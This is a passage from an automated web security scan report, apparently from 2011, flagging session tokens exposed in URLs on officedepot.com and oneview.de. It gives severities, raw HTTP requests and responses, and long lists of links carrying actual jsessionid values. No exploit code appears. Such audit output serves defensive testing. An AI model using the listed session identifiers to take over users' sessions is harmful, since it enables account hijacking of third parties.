<h5><a href="/account/alertsDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Smart Email Deals</a>
...[SNIP]...
<p><a href="/account/alertsDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Sign-up Now!</a>
...[SNIP]...
<span><a href="/a/promo/pages/0711_mobile/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" target="_blank" class="">Mobile Alerts</a>
...[SNIP]...
<li class=""><a href="/a/site-map/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Site Map</a></li>
<li><a href="/a/top-categories/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Top Categories</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/companyinfo/international/international.jsp&template=companyInfo">International</a>
...[SNIP]...
<li><a href="/espanol;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Office Depot en Espa..ol</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/customerservice/termsofuse.jsp&template=customerService">Terms of Use</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/customerservice/termsofuse.jsp&template=customerService#l1">Mobile Terms of Use</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/customerservice/Privacy.jsp&template=customerService">Privacy Policy</a>
...[SNIP]...
<li class=""><a href="/storelocator/input.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Store Locator</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/companyinfo/default.jsp&template=companyInfo">Company Overview</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/companyinfo/companyfacts/index.jsp&template=companyInfo" target='_blank'>About Office Depot..</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/companyinfo/companyfacts/affiliateprogram.jsp&template=companyInfo">Affiliate Program</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/companyinfo/companyfacts/govprogram.jsp&template=companyInfo">Government Programs</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/companyinfo/companyfacts/diversitymissionstatement.jsp&template=companyInfo">Diversity</a>
...[SNIP]...
<li><a href="/renderStaticPage.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/companyinfo/womeninbiz/index.jsp&template=companyInfo">Women in Business</a>
...[SNIP]...
<li><a href="/environment;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" target='_blank'>Environmental Programs</a>
...[SNIP]...
<li><a href="/videogallery;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Video Gallery</a>
...[SNIP]...
<li class=""><a href="/customerservice/index.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Customer Service</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/customerservice/Refunds.jsp&template=customerService">Refunds and Exchanges</a>
...[SNIP]...
<li><a href="https://www.officedepot.com/customerservice/customerServiceDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Contact Us</a>
...[SNIP]...
<li><a href="https://www.officedepot.com/orderhistory/orderHistoryList.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Order Tracking</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/misc/delivery.jsp">Delivery Info</a>
...[SNIP]...
<li><a href="https://www.officedepot.com/orderhistory/orderHistoryList.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Re-order</a></li>
<li><a href="/csl/quickAddBySku.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Order by item#</a>
...[SNIP]...
<li><a href="/account/myAccountDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">My Account</a>
...[SNIP]...
<li><a href="https://www.officedepot.com/catalogrequest/catalogRequestDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Request a Catalog</a>
...[SNIP]...
<li><a href="/purchaseGiftCard.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Gift & Rewards Cards</a>
...[SNIP]...
<li><a href="https://www.officedepot.com/customerservice/customerServiceDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Website Feedback</a>
...[SNIP]...
<li><a href="/customerservice/errata.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Recall Notices</a>
...[SNIP]...
<li><a href="/a/ink-toner-and-ribbons/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Ink Depot</a>
...[SNIP]...
<li><a href="/a/browse/furniture/N=5+917/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Furniture Depot</a>
...[SNIP]...
<li><a href="/a/design-print-and-ship/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Copy & Print Depot</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/promo/pages/christopherlowell.jsp">Christopher Lowell</a>
...[SNIP]...
<li><a href="/a/browse/foray/N=5&cbxRefine=302020/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Foray...</a></li>
<li><a href="/catalog/AZ.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Products A-Z</a>
...[SNIP]...
<li><a href="/a/browse/your-greener-office/N=5+11332/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">GreenerOffice</a>
...[SNIP]...
<li><a href="/catalog/search.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?&Ntt=office+products">Office Products</a>
...[SNIP]...
<li><a href="/a/browse/office-supplies/N=5+1676/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Office Supplies</a>
...[SNIP]...
<li><a href="/a/browse/furniture/N=5+917/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Office Furniture</a>
...[SNIP]...
<li><a href="/a/browse/technology/N=5+9021/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Technology</a>
...[SNIP]...
<li><a href="/promo.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/promo/pages/0118_product.jsp">Write a Product Review</a>
...[SNIP]...
<li><a href="/ads/displayStoreAds.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?popup=true&redirect=false" target='_blank'>Weekly Ad</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/promo/backtoschool/5percent.jsp" target='_blank'>5% Back to Schools Program</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/creditcard/creditcard.jsp">Apply for Credit Card</a>
...[SNIP]...
</a> or check out our <a href="/a/business-resource-center/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Business Resource Center</a>
...[SNIP]...

10.21. http://www.officedepot.com/promo/list5.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.officedepot.com
Path:	/promo/list5.do

Issue detail

The response contains the following links that appear to contain session tokens:

http://www.officedepot.com/;jsessionid=0000N7JB0IDdbJzrbHY1HCK2e8j:13ddq0uth
http://www.officedepot.com/customerservice/ecsupport.do;jsessionid=0000N7JB0IDdbJzrbHY1HCK2e8j:13ddq0uth

Request

GET /promo/list5.do HTTP/1.1
Host: www.officedepot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.22. http://www.oneview.de/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.oneview.de
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://www.oneview.de/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/a4j/s/3_3_3.Final/org/richfaces/skin.xcss/DATB/eAELXT5DOhSIAQ!sA18_.jsf*.xhtml;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/a4j/s/3_3_3.Finalorg/richfaces/renderkit/html/css/basic_classes.xcss/DATB/eAELXT5DOhSIAQ!sA18_.jsf*.xhtml;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/a4j/s/3_3_3.Finalorg/richfaces/renderkit/html/css/extended_classes.xcss/DATB/eAELXT5DOhSIAQ!sA18_.jsf*.xhtml;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/entdeckungen/neu/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/45533319/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/46096720/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/50224663/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/frieden/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/hartz-iv/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/koeln_ausfluege/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/politik_deutschland/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/special-websites/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/trance/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppe/yoga/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gruppen/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/gutscheine/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/hilfe/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/hilfe/agb/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/hilfe/datenschutz/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/hilfe/impressum/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/hilfe/kontakt-formular/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/hilfe/was-ist-oneview/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/img/ajax-loader-2.gif;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/kommentare/neue-kommentare/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/login/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/myoneview/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/registrierung/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/2011/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/abnehmen/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/arge/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/auto/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/benzin/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/berlin/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/blog/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/business/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/cinema/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/co2/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/computer/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/css/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/database/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/design/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/deutschland/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/doku/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/dowload/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/download/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/dvd/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/emissionen/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/ern..hrung/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/essen/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/facebook/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/ferienh..user/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/ferienwohnung/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/fifa/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/film/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/filme/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/finanzen/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/firmware/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/fotos/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/free/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/gala/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/geschenke/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/gesundheit/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/glosse/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/google/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/gps/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/gratis/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/gratis/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/gutscheine/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/g..nstig/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/handy/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/handy/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/hape/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/hartz+iv/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/hotel/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/hotels/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/html/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/hybrid/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/internet-suche/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/internet-tv/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/internet/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/iphone/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/israel/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/istrien/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/java/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/jobcenter/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/jquery/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/karte/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/karten/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/kerkeling/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/kinder/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/kino.de+-+die+ganze+welt+des+kinos/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/kino/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/kochen/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/konzert/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/kostenlos/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/krebs/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/kroatien/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/kultur/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/k..ln/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/landkarten/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/lastminute/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/linux/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/literatur/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/live/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/marketing/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/microsoft/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/motor/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/movies/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/musik/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/nachrichten/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/nachrichter/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/news/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/online/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/open+source/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/php/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/politik/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/power/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/preisvergleich/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/preisvergleiche/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/produkte/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/radio/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/recht/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/reise/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/reisen/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/results/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/rezepte/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/schuhe/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/schule/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/scooter/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/search/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/seo/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/service/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/shopping/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/sklaverei/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/social+media/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/software/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/sozialhilfe/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/spielzeug/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/sport/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/sprit+sparen/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/strahlung/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/stream/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/suche/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/suchen/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/suchmaschine/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/suchmaschinen/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/suma/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/television/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/testbericht/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/testberichte/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/tipps/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/tod/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/tree/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/tv/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/twitter/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/umwelt/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/unterhaltung/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/urlaub/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/usa/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/video/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/watch/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/webdesign/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/wiederhergestellt+aus+backup/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/wiederhergestellte%20links:%20oneview/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/wiki/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/windows/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/wirtschaft/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/wissen/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/yahoo!%20deutschland/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/tags/youtube/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/trendwolke/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/105455737/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/105455737/andere/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/11/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/11/andere/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/112933076/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/130374515/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/130374517/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/130379521/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/130380853/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/130382437/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/130382581/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/130382586/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/130384687/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/2132/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/2132/andere/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/51875387/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/51875387/andere/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/52104344/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/52104344/andere/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/53196927/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/53196927/andere/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/63957963/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/63957963/andere/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/67018262/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/6798/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/6798/andere/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/6820/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/url/6820/andere/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/bora37/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/erst-neu/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/estenossepar/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/hakki1960/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/jackms/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/jkremplerino/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/jup/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/losdepasdelos/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/luckytosing/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/mariya_mladenova/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/pixelschieber/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/progdienst/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/senior_rossi/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/syndie/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/team9/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/thecardesigner/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/thunderhand/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/user/tinatin/;jsessionid=22619842C67867F5B1EE74469F963957
http://www.oneview.de/werkzeuge/;jsessionid=22619842C67867F5B1EE74469F963957

Request

GET / HTTP/1.1
Host: www.oneview.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 23:02:58 GMT
Set-Cookie: JSESSIONID=22619842C67867F5B1EE74469F963957; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
X-Cache: MISS from squid.oneview.de
X-Cache-Lookup: MISS from squid.oneview.de:80
Via: 1.0 squid.oneview.de:80 (squid/2.6.STABLE21)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de-DE" lang="de-DE">

   <
...[SNIP]...
